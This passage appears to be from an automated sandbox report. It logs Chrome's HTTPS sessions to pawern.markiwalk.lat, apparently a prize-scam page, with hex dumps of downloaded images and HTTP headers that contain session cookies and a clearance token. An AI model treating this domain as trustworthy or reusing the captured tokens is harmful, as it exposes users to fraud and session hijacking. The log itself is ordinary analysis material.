cf 1b a2 7c f1 be 59 77 30 c1 e1 1e 5b 8a 32 c3 a3 5b 0b 71 06 67 4f 7a 10 0a 88 9b fe 63 da 2f 8c c0 79 ee 29 6c Data Ascii: d(;Px:b;F)_^UP+D^D{W`V,^;xsA[KAX[B6c,PCAz)Dv@^t-_+xm+]qz?/BDxg[\|Yw0[2[qgOzc/y)l
2024-10-03 16:19:24 UTC	1369	IN	Data Raw: 4f 41 9b ae 9c 9a c5 6a c9 8e 5f 6b 1c bd d4 b0 ec 8c b4 7d ca 9d 7b 3b 65 da cb 22 77 f7 76 d9 56 ed 6f be b1 87 fb 06 6d 3b 78 72 e5 be 07 36 1f f9 7c 60 58 e8 20 17 08 3c 6e 52 a2 82 83 d7 b1 6f ff 9c 81 fa 7b 75 e4 aa c5 93 44 cd 76 7a 76 d2 89 d5 8f 2c 9b 84 34 ca f8 f2 1b 3b c8 cf d2 c1 79 8f 38 e1 c7 5f 49 2d 18 70 df 80 f7 41 66 52 59 b9 21 e8 11 6d 02 5a 85 5a 83 0e 56 36 61 84 15 66 a8 e1 86 fc b9 c7 a1 52 1e 7e 98 95 88 52 b1 47 e2 53 26 9e a8 e2 8a 2c 52 95 80 81 15 11 d1 62 7f 18 d9 30 a3 4a 0a de 18 54 8a 3a 8e 68 11 56 3d 12 b8 19 45 45 b8 00 64 90 f3 f1 48 a4 92 48 ce 86 21 43 14 36 39 de 93 74 49 f9 d2 73 21 5a 49 5d 75 4a 9c a6 e5 49 5f 75 79 18 95 5f 5a 88 54 99 60 9e 89 26 81 6a ae 39 df 63 64 ba 89 9b 9c 74 d6 69 e7 9d 0b c6 89 27 94 Data Ascii: OAj_k}{;e"wvVom;xr6\|`X <nRo{uDvzv,4;y8_I-pAfRY!mZZV6afR~RGS&,Rb0JT:hV=EEdHH!C69tIs!ZI]uJI_uy_ZT`&j9cdti'
2024-10-03 16:19:24 UTC	1369	IN	Data Raw: 76 e9 e2 cd cb b7 af df bf 80 03 0b 1e 4c b8 b0 e1 c3 88 13 83 95 29 70 af e2 8a 0e 67 86 0d e0 f8 31 c5 c9 26 23 0f 64 3c 30 46 0c cb 90 09 6a 16 39 fa a0 67 d0 40 39 a3 5e cd ba b5 eb d7 b0 63 cb 9e 4d bb b6 ed db b8 99 1e cd fd 73 37 ef 9a 98 7f 03 17 4e bc b8 71 8b aa 8f b7 b4 a3 bc b9 f3 e7 d0 a3 4b 9f 4e bd ba 75 b8 c9 af 87 4e 58 5a fb 44 3b d9 0b ba ff a1 ec 5d 62 d7 f1 0c 1b 54 2e 8f 90 ab 79 f6 ef 23 ae 87 6f 3a 3e 7d 85 f3 0d aa bf bf 70 be 3c 79 fc 69 f4 df 7f 01 a6 46 60 81 17 0d 08 20 82 c8 2d 48 90 7b 0c 4e 95 df 83 13 06 08 a1 41 be 45 d8 d0 64 19 6a 88 90 01 98 29 21 d5 67 14 b9 d7 c0 54 ed 61 25 95 88 56 71 e5 62 89 59 c4 38 11 03 2a 1a e7 e2 8d 33 98 07 45 00 2b f0 98 03 65 39 ce 58 21 6c 2f ee 10 05 79 41 e2 c7 a3 40 1c 68 20 d0 09 01 Data Ascii: vL)pg1&#d<0Fj9g@9^cMs7NqKNuNXZD;]bT.y#o:>}p<yiF` -H{NAEdj)!gTa%VqbY8*3E+e9X!l/yA@h
2024-10-03 16:19:24 UTC	1369	IN	Data Raw: 00 4f 00 49 00 1c 00 00 07 ff 80 35 82 83 84 85 86 87 34 33 8a 88 8c 8d 8e 8f 90 90 3b 8b 91 95 96 97 83 59 57 9b 51 93 0c 98 9d a0 a2 99 57 38 14 27 a8 2b 3a a1 92 3a 32 2f 2f 39 55 ac 98 9f b6 92 39 25 1e 1c bc bc 21 2b b3 b7 87 59 4e 26 bb bd 22 c0 b4 92 9a cb 8e 39 23 19 17 16 d4 d5 1d 29 57 94 87 32 d1 d3 d6 d7 50 9e b8 2b 28 e5 32 54 ce 85 54 12 d2 de d6 18 1f ca 31 db 20 ed d5 d6 25 c1 8f 50 14 f5 ed 1f 13 ce 89 53 b7 62 c3 bb 83 20 56 cd 53 37 41 c3 bd 87 d4 5e a4 2b a4 83 9d 3d 78 1a e2 65 5b 48 aa 1b c4 77 c0 84 7d c2 f1 e1 e2 c7 09 1b 19 ad 73 f8 11 9e c4 43 4e fc b5 ac 66 02 8b c8 28 2a 58 ce cc 90 70 22 83 2c 05 31 ec 94 80 ce 10 49 93 27 b3 b8 10 96 c5 98 d0 9d 1f 64 f8 bc 62 11 aa d4 81 51 a0 21 85 98 6f 69 21 a7 3b 5d da 44 a4 a3 43 58 6a Data Ascii: OI543;YWQW8'+::2//9U9%!+YN&"9#)W2P+(2TT1 %PSb VS7A^+=xe[Hw}sCNf(*Xp",1I'dbQ!oi!;]DCXj
2024-10-03 16:19:24 UTC	1369	IN	Data Raw: 37 72 e4 11 4f a3 85 c5 b6 af e6 f1 c6 61 cf e2 fe 21 01 cf 3f 95 f8 fb 9f 00 07 48 c0 02 22 84 2f f4 53 11 04 5e 43 22 14 11 d0 01 0c 34 20 46 5a 90 c0 ff c9 43 31 24 93 60 63 30 38 90 0a 6a b0 80 f9 f9 a0 67 44 48 c2 12 9a f0 84 28 4c a1 0a 57 c8 c2 16 1a c5 83 fc 43 20 09 65 28 c2 0b b6 ad 86 1c 34 00 e8 3e 78 97 00 12 f0 7d 2e 0c a2 10 61 87 48 c4 22 d6 85 83 46 4c a2 12 97 c8 c4 26 3a f1 89 50 8c a2 14 a7 48 c5 2a 4e d1 3e 61 01 a2 52 ee a2 9a b4 68 71 29 1f 0a a1 06 c3 88 42 32 9e d0 8c 33 8c 0f 16 2d a8 46 31 4a f1 8b fd f3 a1 72 e0 08 12 3a 5a f1 8e 78 cc a3 1e 95 58 13 15 ae 71 8f 80 0c a4 20 73 f2 47 86 b8 11 29 01 01 00 21 f9 04 05 03 00 01 00 2c 04 00 0f 00 ab 00 79 00 00 07 ff 80 01 82 83 84 85 86 87 88 89 01 4d 8a 8d 8e 8f 90 91 92 93 94 95 Data Ascii: 7rOa!?H"/S^C"4 FZC1$`c08jgDH(LWC e(4>x}.aH"FL&:PH*N>aRhq)B23-F1Jr:ZxXq sG)!,yM
2024-10-03 16:19:24 UTC	1369	IN	Data Raw: 05 10 b2 2c 24 93 26 9e ba cd a0 15 2b 02 00 12 10 59 f8 0a 2e 6c a4 4c f9 10 91 f0 d4 56 d3 04 66 69 15 0d 16 2c 8a 60 bd 44 89 f7 61 28 e1 68 27 62 41 0e 7d 69 ed 56 99 11 14 63 9f 35 a0 40 85 63 a9 66 a0 fd d0 b5 5e 7b 38 4b d7 c9 92 3f 18 b6 a8 6d e6 3e 9a e2 3c 96 eb e0 53 32 85 6a a2 76 e0 38 46 f8 a7 f3 c7 03 49 45 1e 45 cc 18 c3 65 58 07 3d 52 0a 14 d2 4d 55 59 54 2c 1c 4c de 64 88 1c bf f4 4e 37 cd 4e 45 2d 28 7a 09 61 71 7a 0f 73 06 12 72 75 8a cf 90 af fc 08 8e e8 14 64 d1 50 1f 55 91 c2 6f 89 9c 47 a0 76 be c8 50 02 37 c9 a0 20 0f 83 87 11 14 0d 54 6a c1 72 1b 55 21 dc 24 dc 3f d3 60 24 43 0e 54 80 71 4d 2b d0 fc 03 0d 15 2b 88 e0 d5 49 e8 b9 12 a0 2f bb a4 83 8a 8a 03 06 84 c3 2c b6 5c 41 9b 58 2d d9 f8 8c 7a ab a0 38 0f 44 3f f6 85 22 2c 6f Data Ascii: ,$&+Y.lLVfi,`Da(h'bA}iVc5@cf^{8K?m><S2jv8FIEEeX=RMUYT,LdN7NE-(zaqzsrudPUoGvP7 TjrU!$?`$CTqM++I/,\AX-z8D?",o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.16	49805	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:38 UTC	1175	OUT	GET /master/us217/prize1.png HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd; cf_clearance=Mu6XuA0a7g3Dzr0CytgV_brTVeqix8KITnc_8YvK_U0-1727972297-1.2.1.1-Mdk5bwj8d9aPgWIaWdtro12oPbLU_AZB2sjyV4o5veq9FKJtZAHhXoF__TH4InBB9bPCHcLrbWgvTJzpIUtm0mEOqotpsBiCoVko5xYyb7uSqKwEa54kDKKf7cK7HXsItT1_t2V9E42MuNBGQdB9pDkKFCXviurLpPrY8qizKTeaIuS79sd8_ybSLbFICrScZp7NRcaERJjELZTcYJ.J53LlmCfSi_KX.p.8tJaJEBx73YLnBlzjjETenTwxYXxvKnpZsTdbGv2B99nu8ZHUEPm26NH4sqSQ6IOBZzR0GThHo41V1KWNmF.OLMY5g45I64DE7wSEIhjPI0rRiwZQZJ_0UR9lv2mB4GRP3vqxFW86dQvR3i20jUA_zFIuehJg
2024-10-03 16:19:38 UTC	813	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:38 GMT Content-Type: image/png Content-Length: 70077 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:28:46 GMT last-modified: Thu, 05 Sep 2024 16:49:32 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 3052 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OZHLRf%2Fb84XA8tjSLetZ6L1oq0aSNxyeS2%2BRND0y9gnGm%2FDMbEmZsf%2BtoeUm2drWUeCT%2Fxp%2BME0SnLMJeEw0kjaiEN%2BL7%2FQ8B79kpiWYv5Y01cKSK8aHkv1bXTBaVZPc6qvifJ%2BSxg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41463f364288-EWR
2024-10-03 16:19:38 UTC	556	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 fa 00 00 00 fa 08 03 00 00 00 bf 32 aa 0f 00 00 a0 66 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 34 38 38 2c 20 32 30 32 30 2f 30 37 2f 31 30 2d 32 32 3a 30 36 3a 35 33 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 Data Ascii: PNGIHDR2fiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53 "> <rdf:RDF xmlns:rdf="http://w
2024-10-03 16:19:38 UTC	1369	IN	Data Raw: 73 6f 75 72 63 65 45 76 65 6e 74 23 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 22 20 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3d 22 32 30 32 32 2d 30 34 2d 32 31 54 32 31 3a 34 35 3a 31 33 2b 30 38 3a 30 30 22 20 78 6d 70 3a 4d 6f 64 69 66 79 44 61 74 65 3d 22 32 30 32 34 2d 30 39 2d 30 35 54 32 32 3a 30 37 3a 31 31 2b 30 35 3a 33 30 22 20 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3d 22 32 30 32 34 2d 30 39 2d 30 35 54 32 32 3a 30 37 3a 31 31 2b 30 35 3a 33 30 22 20 64 63 3a 66 6f 72 6d 61 74 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 70 68 6f 74 6f 73 68 6f 70 3a 43 6f 6c 6f 72 4d 6f 64 65 3d 22 33 22 20 70 68 6f 74 6f 73 68 6f 70 3a 49 43 43 50 72 Data Ascii: sourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)" xmp:CreateDate="2022-04-21T21:45:13+08:00" xmp:ModifyDate="2024-09-05T22:07:11+05:30" xmp:MetadataDate="2024-09-05T22:07:11+05:30" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCPr
2024-10-03 16:19:38 UTC	1369	IN	Data Raw: 43 45 31 41 32 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 41 44 35 35 39 39 33 42 38 45 31 46 32 46 31 39 39 46 30 35 37 34 31 43 38 44 32 37 43 44 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 42 39 45 35 44 32 39 31 32 44 38 32 36 36 37 41 31 43 32 44 32 33 31 30 38 44 35 37 34 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 44 44 30 38 39 44 37 41 35 38 41 39 34 41 37 46 41 30 38 41 39 44 31 45 38 43 33 41 39 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 46 31 31 39 37 43 36 34 32 44 31 36 42 43 34 35 31 41 36 36 39 41 46 33 45 43 41 37 32 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 32 41 45 30 43 32 30 38 37 31 31 43 32 34 38 42 38 38 41 39 43 32 37 42 44 30 31 30 42 Data Ascii: CE1A2EB</rdf:li> <rdf:li>1AD55993B8E1F2F199F05741C8D27CD6</rdf:li> <rdf:li>1B9E5D2912D82667A1C2D23108D574E5</rdf:li> <rdf:li>1DD089D7A58A94A7FA08A9D1E8C3A9A6</rdf:li> <rdf:li>1F1197C642D16BC451A669AF3ECA722C</rdf:li> <rdf:li>22AE0C208711C248B88A9C27BD010B
2024-10-03 16:19:38 UTC	1369	IN	Data Raw: 64 66 3a 6c 69 3e 34 30 42 46 41 32 35 42 37 34 44 45 35 35 31 34 39 41 33 41 41 42 31 33 33 46 30 42 34 42 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 31 34 42 45 30 46 43 46 45 45 41 41 43 46 41 30 31 39 44 36 46 31 38 36 32 45 39 45 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 36 33 39 34 39 32 41 32 34 30 44 43 39 46 41 34 32 45 36 41 32 45 45 36 45 39 37 34 35 45 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 41 35 33 44 43 34 33 35 38 46 39 36 37 43 38 43 32 46 35 38 36 44 39 37 38 38 31 39 44 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 43 37 42 44 41 36 43 36 34 31 35 35 38 46 38 43 45 38 45 46 42 45 33 31 31 41 45 42 43 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 Data Ascii: df:li>40BFA25B74DE55149A3AAB133F0B4B39</rdf:li> <rdf:li>4614BE0FCFEEAACFA019D6F1862E9EA5</rdf:li> <rdf:li>4639492A240DC9FA42E6A2EE6E9745E4</rdf:li> <rdf:li>4A53DC4358F967C8C2F586D978819D3E</rdf:li> <rdf:li>4C7BDA6C641558F8CE8EFBE311AEBC8B</rdf:li> <rdf:li
2024-10-03 16:19:38 UTC	1369	IN	Data Raw: 32 38 35 30 35 31 45 36 37 30 32 44 31 39 44 38 30 42 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 39 41 32 46 44 39 46 46 42 31 45 43 38 32 33 37 41 36 33 37 31 37 44 38 30 31 46 39 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 46 36 30 38 34 45 34 45 42 43 30 37 43 36 42 30 38 36 43 31 43 46 37 38 42 34 36 41 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 46 41 42 43 38 42 46 32 44 44 37 42 36 31 33 38 38 41 34 37 32 43 30 32 38 32 35 33 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 32 38 36 45 44 41 32 37 35 39 39 43 34 46 42 41 38 34 32 34 34 42 41 33 42 46 43 31 33 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 32 45 43 41 45 38 34 34 41 33 34 43 45 46 38 44 45 Data Ascii: 285051E6702D19D80BB</rdf:li> <rdf:li>709A2FD9FFB1EC8237A63717D801F9E5</rdf:li> <rdf:li>70F6084E4EBC07C6B086C1CF78B46AA1</rdf:li> <rdf:li>70FABC8BF2DD7B61388A472C02825305</rdf:li> <rdf:li>7286EDA27599C4FBA84244BA3BFC13EE</rdf:li> <rdf:li>72ECAE844A34CEF8DE
2024-10-03 16:19:38 UTC	1369	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 43 44 32 42 35 35 37 34 33 35 31 31 42 33 45 36 31 46 34 46 33 44 35 45 39 35 30 41 44 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 45 33 30 30 42 36 37 35 36 43 38 41 46 35 36 39 39 44 35 43 32 34 31 46 44 46 35 31 43 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 38 32 42 37 44 34 38 43 42 38 43 46 36 34 39 44 45 39 35 35 44 41 38 41 39 42 46 30 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 33 42 31 36 30 33 36 41 38 44 41 34 44 38 39 36 37 46 44 46 44 42 46 46 34 36 39 46 30 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 36 35 41 33 44 34 39 45 46 36 46 30 43 45 45 34 35 33 41 38 41 37 33 37 33 38 31 43 44 41 39 3c 2f 72 64 66 Data Ascii: </rdf:li> <rdf:li>9CD2B55743511B3E61F4F3D5E950AD80</rdf:li> <rdf:li>9E300B6756C8AF5699D5C241FDF51CFE</rdf:li> <rdf:li>A382B7D48CB8CF649DE955DA8A9BF011</rdf:li> <rdf:li>A3B16036A8DA4D8967FDFDBFF469F06B</rdf:li> <rdf:li>A65A3D49EF6F0CEE453A8A737381CDA9</rdf
2024-10-03 16:19:38 UTC	1369	IN	Data Raw: 37 41 42 37 39 39 33 33 43 43 32 35 38 38 32 42 33 38 36 39 32 46 39 31 43 39 35 43 39 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 35 33 34 44 38 44 36 30 32 45 38 36 39 38 38 36 42 44 34 45 36 39 37 39 46 38 43 46 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 43 32 32 37 30 45 33 35 36 30 34 45 45 41 43 32 37 35 34 45 30 41 32 43 36 30 35 38 46 31 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 45 30 39 37 45 30 35 31 41 44 36 36 35 37 44 31 39 41 30 30 36 34 30 37 36 45 45 35 44 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 46 38 39 39 41 42 38 39 39 30 30 35 36 33 30 35 36 32 39 33 31 45 31 37 45 30 31 33 36 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 32 34 43 30 43 Data Ascii: 7AB79933CC25882B38692F91C95C95B</rdf:li> <rdf:li>DB534D8D602E869886BD4E6979F8CFD0</rdf:li> <rdf:li>DC2270E35604EEAC2754E0A2C6058F1F</rdf:li> <rdf:li>DE097E051AD6657D19A0064076EE5D0A</rdf:li> <rdf:li>DF899AB899005630562931E17E0136C2</rdf:li> <rdf:li>E24C0C
2024-10-03 16:19:38 UTC	1369	IN	Data Raw: 68 6f 70 3a 30 31 66 36 34 35 34 34 2d 31 35 31 33 2d 31 31 37 38 2d 62 66 37 33 2d 66 34 36 39 32 64 62 66 37 32 61 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 32 32 35 32 38 65 61 2d 64 62 38 35 2d 63 66 34 31 2d 39 65 63 66 2d 37 34 32 65 65 36 35 33 38 38 61 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 32 35 32 61 32 36 39 2d 35 64 62 63 2d 31 31 37 39 2d 38 63 34 63 2d 39 36 61 66 38 31 66 38 35 63 63 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 32 64 63 65 65 37 38 2d 63 30 64 66 2d 31 31 37 37 2d 62 38 35 34 Data Ascii: hop:01f64544-1513-1178-bf73-f4692dbf72a5</rdf:li> <rdf:li>adobe:docid:photoshop:022528ea-db85-cf41-9ecf-742ee65388aa</rdf:li> <rdf:li>adobe:docid:photoshop:0252a269-5dbc-1179-8c4c-96af81f85cc7</rdf:li> <rdf:li>adobe:docid:photoshop:02dcee78-c0df-1177-b854
2024-10-03 16:19:38 UTC	1369	IN	Data Raw: 6f 70 3a 31 30 61 33 31 37 64 34 2d 36 35 38 31 2d 62 31 34 31 2d 61 64 38 61 2d 66 64 36 34 66 64 39 35 61 31 33 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 30 66 64 39 66 33 36 2d 38 35 66 66 2d 31 31 37 61 2d 61 39 34 39 2d 61 36 31 61 62 37 65 65 30 31 66 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 32 30 30 64 62 30 63 2d 62 33 37 31 2d 31 31 37 62 2d 62 37 36 62 2d 66 31 63 33 62 66 62 34 34 35 63 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 32 63 65 34 37 64 32 2d 38 37 38 37 2d 31 31 37 61 2d 62 30 34 38 2d Data Ascii: op:10a317d4-6581-b141-ad8a-fd64fd95a138</rdf:li> <rdf:li>adobe:docid:photoshop:10fd9f36-85ff-117a-a949-a61ab7ee01ff</rdf:li> <rdf:li>adobe:docid:photoshop:1200db0c-b371-117b-b76b-f1c3bfb445c1</rdf:li> <rdf:li>adobe:docid:photoshop:12ce47d2-8787-117a-b048-
2024-10-03 16:19:38 UTC	1369	IN	Data Raw: 70 3a 32 30 61 32 32 63 39 35 2d 63 32 36 63 2d 31 31 37 37 2d 62 31 64 33 2d 39 62 35 64 36 62 61 37 34 39 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 30 62 34 63 36 64 63 2d 64 63 62 61 2d 31 31 37 39 2d 62 63 66 38 2d 66 37 38 65 66 33 30 66 35 36 61 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 31 35 35 30 37 37 64 2d 38 32 65 62 2d 31 31 37 61 2d 39 61 38 63 2d 66 31 39 63 39 33 63 39 36 64 37 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 32 36 35 37 39 63 38 2d 36 64 66 31 2d 39 32 34 65 2d 61 36 64 63 2d 61 Data Ascii: p:20a22c95-c26c-1177-b1d3-9b5d6ba74952</rdf:li> <rdf:li>adobe:docid:photoshop:20b4c6dc-dcba-1179-bcf8-f78ef30f56a3</rdf:li> <rdf:li>adobe:docid:photoshop:2155077d-82eb-117a-9a8c-f19c93c96d7e</rdf:li> <rdf:li>adobe:docid:photoshop:226579c8-6df1-924e-a6dc-a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.16	49806	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:38 UTC	1170	OUT	GET /master/us217/1.jpg HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd; cf_clearance=Mu6XuA0a7g3Dzr0CytgV_brTVeqix8KITnc_8YvK_U0-1727972297-1.2.1.1-Mdk5bwj8d9aPgWIaWdtro12oPbLU_AZB2sjyV4o5veq9FKJtZAHhXoF__TH4InBB9bPCHcLrbWgvTJzpIUtm0mEOqotpsBiCoVko5xYyb7uSqKwEa54kDKKf7cK7HXsItT1_t2V9E42MuNBGQdB9pDkKFCXviurLpPrY8qizKTeaIuS79sd8_ybSLbFICrScZp7NRcaERJjELZTcYJ.J53LlmCfSi_KX.p.8tJaJEBx73YLnBlzjjETenTwxYXxvKnpZsTdbGv2B99nu8ZHUEPm26NH4sqSQ6IOBZzR0GThHo41V1KWNmF.OLMY5g45I64DE7wSEIhjPI0rRiwZQZJ_0UR9lv2mB4GRP3vqxFW86dQvR3i20jUA_zFIuehJg
2024-10-03 16:19:38 UTC	829	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:38 GMT Content-Type: image/jpeg Content-Length: 5057 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:29:02 GMT last-modified: Thu, 05 Sep 2024 16:49:30 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent alt-svc: h3=":443"; ma=86400 CF-Cache-Status: HIT Age: 3036 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2NbnKIJppj5cEVpTscad3ZU%2BOKj%2FTIW2SuuZgCWZF703b4SmpeeVE0cHbmrJJ6vcKvJEj4CvK1Xy993ddy2XVYZj5HQ2Ny3aWL40cIlQHeXHS8LaBeFfhagzAVJ738EHAmUGE3t33w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce41480feb43a9-EWR
